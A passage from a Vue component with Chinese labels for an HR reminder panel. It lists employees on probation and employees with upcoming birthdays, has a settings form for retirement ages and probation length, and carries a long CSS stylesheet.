<div class="classAffair-img"><i class="el-icon-user-solid"></i></div>
<div class="classAffair-info">
<p class="tac-title">试用期人员</p>
<!-- <p class="tac-des">默认查询30天内将过试用期人员</p> -->
</div>
<span class="classAffair-badge">12</span>
</el-menu-item>
<el-menu-item index="SRRY" class="classAffair">
<div class="classAffair-img"><i class="el-icon-s-custom"></i></div>
<div class="classAffair-info">
<p class="tac-title">即将过生日人员</p>
<!-- <p class="tac-des">默认查询本月过生日人员</p> -->
</div>
<span class="classAffair-badge">12</span>
</el-menu-item>
<!-- </el-menu-item-group> -->
</el-menu>
</el-col>
</el-row>
<el-row class="setting-main">
<p class="setting-title" v-if="setShow">提醒设置</p>
<el-form label-width="180px" class="demo-ruleForm tac-set-form" v-if="setShow">
<el-form-item label="女性退休年龄设置(年龄)" prop="age">
<el-input v-model="f_formSET.women_txnl"></el-input>
</el-form-item>
<el-form-item label="男性退休年龄设置(年龄)" prop="age">
<el-input v-model="f_formSET.men_txnl"></el-input>
</el-form-item>
<el-form-item label="应交流人员期限设置(年)" prop="age">
<el-input v-model="f_formSET.jlnx"></el-input>
</el-form-item>
<el-form-item label="试用期设置(月)" prop="age">
<el-input v-model="f_formSET.probation"></el-input>
</el-form-item>
</el-form>
</el-row>
<el-row class="tac-footer-btn">
<el-button size="mini" v-if="!setShow" @click="resfSettings">
<i class="el-icon-setting" style="margin-right:5px;"></i>设置提醒
</el-button>
<el-button size="mini" id="query" style="width:90px" v-if="setShow" @click="resfSettings">
<i class="el-icon-circle-check" style="color:#409EFF;margin-right:5px;"></i>保存
</el-button>
<el-button size="mini" v-if="setShow" style="width:90px" @click="resfSettings">
<i class="el-icon-circle-close" style="margin-right:5px;"></i>取消
</el-button>
</el-row>
</el-col>
<!-- 右侧 -->
<el-col :span="19" class="header-right">demo</el-col>
</el-row>
</el-main>
</el-container>
</template>
<script>
export default {
name: 'Demo',
data() {
return {
setShow: false,
activeIndex: '1',
msg: '加载中',
loading: false,
f_formSET: {
women_txnl: '',
men_txnl: '',
probation: '',
jlnx: '' //
},
}
},
created() {},
watch: {},
mounted() {},
methods: {},
beforeDestroy() {},
}
</script>
<style>
ul,
p {
padding: 0px;
margin: 0px;
}
.exitManageaHeaderSide>.el-button {
margin-left: 0px!important;
margin-right: 8px;
}
.exitManageaHeaderSide>.el-button:last-child {
margin-right: 0;
}
.exitManageSelect input {
height: 30px;
}
.orgPosition .el-input__inner {
height: 30px!important;
line-height: 30px!important;
}
.personDataContainer ul li,
.pictureContainer ul li {
/* width: 24%;
float: left;
margin-left: 1%;
margin-bottom: 15px; */
width: 15%;
float: left;
margin-left: 1%;
margin-bottom: 5px;
margin-top: 10px;
}
.personDataContainer .picture,
.personDataContainer .personInfo {
display: inline-block;
float: left;
}
.personDataContainer .picture {
width: 40%;
}
.personDataContainer .picture img {
width: 100%;
}
.personDataContainer .personInfo {
margin-left: 5px;
width: 50%;
}
.personDataContainer .personInfo p {
font-size: 13px;
margin: 8px 0px;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis
}
.pictureContainer ul li .picture {
text-align: center;
}
.pictureContainer ul li .picture img {
width: 100%;
/* width: 70%;
padding: 10px;
border: 4px solid #d8d8d8; */
}
.pictureContainer ul li .title {
text-align: center;
}
.personForm {
font-size: 0;
padding: 5px 14px 5px 0px;
text-align: right;
}
.personForm>.el-button {
margin-left: 8px!important;
}
.personSearch {
float: left;
padding: 5px 10px;
}
.el-table .cell {
word-break: initial
}
.textOrg {
width: 50%;
text-align: center;
margin-top: 5px;
}
.el-header {
height: 40px!important;
}
.personSearch{
float: left;
padding: 5px 10px;
}
/* //------------------------- */
.header-left{
border-right:1px solid #e6e6e6;
}
.header-left .tac{
padding:10px 16px;
height:284px;
}
.header-left .tac .el-menu{
border-right:none;
}
.tac-title{
color:#666;
}
.tac-des{
font-size:13px;
color:#999;
}
.el-menu-item.is-active .tac-title{
color:#409EFF !important;
}
.classAffair {
font-size:16px;
padding-left:12px !important;
height:auto;
padding:16px 12px;
line-height: inherit;
white-space: normal;
display: flex;
align-items: center;
position: relative;
}
.classAffair-badge{
position: absolute;
right: -6px;
top: -6px;
display: inline-block;
padding: 3px;
font-size: 12px;
background: #ff7e7e;
color: #fff;
border-radius: 50px;
text-align: center;
}
.classAffair-img,.classAffair-info{
display: inline-block;
}
/* // 提醒设置 */
.setting-main{
height:196px;
}
.setting-title{
background-color: #efefef;
padding:6px 5px 6px 10px;
}
.tac-set-form{
padding:8px 0;
}
.el-menu-item.is-active{
background-color: #d9eaff;
}
.header-right-search{
padding-left:30px;
background-color: #efefef;
}
.header-right-date-picker{
padding:0;
width:220px;
top:2px;
}
/deep/.header-right-date-picker .el-range-separator{
line-height: inherit;
width:20px;
}
.header-right-search .demo-form-inline .search-btn{
border-radius: 4px;
padding:revert;
}
/* 左侧底部设置 */
.tac-footer-btn{
background-color: #daeafd;
text-align: center;
padding:3px 0;
width:100%;
}
</style>
Loading…
Cancel
Save